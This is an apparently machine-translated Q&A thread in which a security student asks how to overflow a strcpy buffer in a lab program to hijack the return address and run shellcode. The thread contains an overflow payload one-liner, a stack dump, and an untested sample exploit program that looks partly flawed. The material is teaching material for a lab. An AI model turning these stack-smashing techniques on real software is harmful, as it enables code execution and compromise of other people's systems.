2013-05-01 79 views
5

我最近一直在学习计算机安全并遇到了一些问题,并且特别在这个问题上遇到了一些麻烦。使用缓冲区溢出来执行shell代码

为了在文件shellcode中执行shellcode,我得到了一个需要溢出的固定缓冲区的函数。该功能是相当简单:

void vuln(char *str) { 
    char buf[64]; 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
} 

我最初的猜测是修改返回地址,EIP,功能,以查找并执行什么在shellcode的文件,但我意识到我没有地址到我可以用十六进制值表示的文件。我很肯定我需要操作的返回地址,所以目前什么我打电话是:

//the string is passed as a command line arg 
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ") 

我的输出是:

Stack dump: 
0xffffd600: 0xffffd7fd (first argument) 
0xffffd5fc: 0x08048653 (saved eip) 
0xffffd5f8: 0xffffd641 (saved ebp) 
0xffffd5f4: 0x41414141 
0xffffd5f0: 0x41414141 
0xffffd5ec: 0x41414141 
0xffffd5e8: 0x41414141 
0xffffd5e4: 0x41414141 
0xffffd5e0: 0x41414141 
0xffffd5dc: 0x41414141 
0xffffd5d8: 0x41414141 
0xffffd5d4: 0x41414141 
0xffffd5d0: 0x41414141 
0xffffd5cc: 0x41414141 
0xffffd5c8: 0x41414141 
0xffffd5c4: 0x41414141 
0xffffd5c0: 0x41414141 
0xffffd5bc: 0x41414141 
0xffffd5b8: 0x41414141 
0xffffd5b4: 0x41414141 
0xffffd5b0: 0x41414141 (beginning of buffer) 
Segmentation fault 

的python脚本只是简单地打印72字母A对将缓冲区溢出至edpeip处,在我用附加地址替换edp的地址并到达返回地址后,准备对其进行操作。任何帮助真的很感激,谢谢!

+6

你是否用'-really-no-protection'和'-make-me-vulnerable-to-everything'标志编译了代码?这是目前攻击所必需的。 – 2013-05-01 20:03:01

+0

@Daniel Fischer是的,我已经正确编译了以前的计算机安全程序并且能够无任何问题地将它们溢出。我知道我的程序将按预期运行 – 2013-05-01 20:21:18

+0

好的,只是检查明显的嫌疑人。 – 2013-05-01 20:25:01

回答

12

嗯,我想也许这就像一个缓冲区溢出实验室计算机系统:程序员的角度。首先,使用objdump来获取静态地址。其次,用gdb运行它来找出堆栈的地址。然后,用这样一个字符串填充缓冲区,以覆盖缓冲区的返回地址(以便您可以放入漏洞代码,或者可以调用程序中的其他代码)。

看看这个pdf作为本实验指南。它可以为您提供一些见解。

正如所指出的,需要大量的编译时间标志来实现这一点。 (我会检查哪些并很快回来)。或者,this提供了一个关于如何编译这样一个例子的指南。

0

当你知道在哪里看起来不太难,就像在打开应用程序w/gdb之前所说的那样。 r(un)it。然后我(nfo)r(egisters)看它为什么坠毁。拆卸也非常有用。

另外,(我假设你知道这一点):

void vuln(char *str) { 
    char buf[64]; 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
} 

实际上是

void vuln(char *str) { 
    void *return; 
    char buf[64]; 

    /* Set Return value and store stack */ 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
    /* restore stack and jmp to return value. */ 
} 
2

我最初的猜测是修改返回地址,EIP,函数,以便找到并执行shellcode文件中的内容,但是我意识到我没有可以用十六进制值表示的文件地址。

你想要修改RET地址,这样当函数结束时它不会返回到它的调用者,而是返回到你的shellcode的开头。((作为shellcode的一个简要概述,它是一组汇编指令(如此严重依赖于执行易受攻击的进程的平台)执行一个shell(通常是一个根shell),因此将你放入一个很好的环境,你可以利用。))

现在回来,你想要的是指向您的shellcode第一个汇编指令RET。奇怪的是,你有一个单独的文件。这是必需的吗?

如何它通常做的是,你有这样的事情:

char shellcode[] = "\x90\x90\x90..."; 


int main() 
{ 
     /* 
     * huge string (like your 72 A's) that appends the address of the 
     * shellcode at the right address (in your case I think it's 64 + 4) 
     */ 
     char evilstring[100]; 

     /* Fill the buf and the EBP with A's */ 
     for (int i = 0; i < 64 + 4; i++) { 
       evilstring[i] = 'A'; 
     } 
     /* And the RET with the address of your shellcode */ 
     sprintf(&evilstring[68], "%p", &shellcode[0]); 
     vuln(evilstring); 
     /* you should have a shell now */ 

     /* NOTREACHED */ 
     return 0; 
} 

所以,现在,当你的函数返回时,它返回的shellcode的[]字符串的地址,并从该处继续执行指令。这是你想要的。因为这些指令为您提供了根shell(或者shellcode所做的任何操作)。

请注意,以上只是示例代码,它甚至没有经过编译测试。

如果我不理解您的问题或者我没有解释得不够好,请随时提问。

1
char buff[20]; 
unsigned int pass = 0; 

当'buff'溢出时,额外的输入将'通过'变成大于0,使其成为'真'值。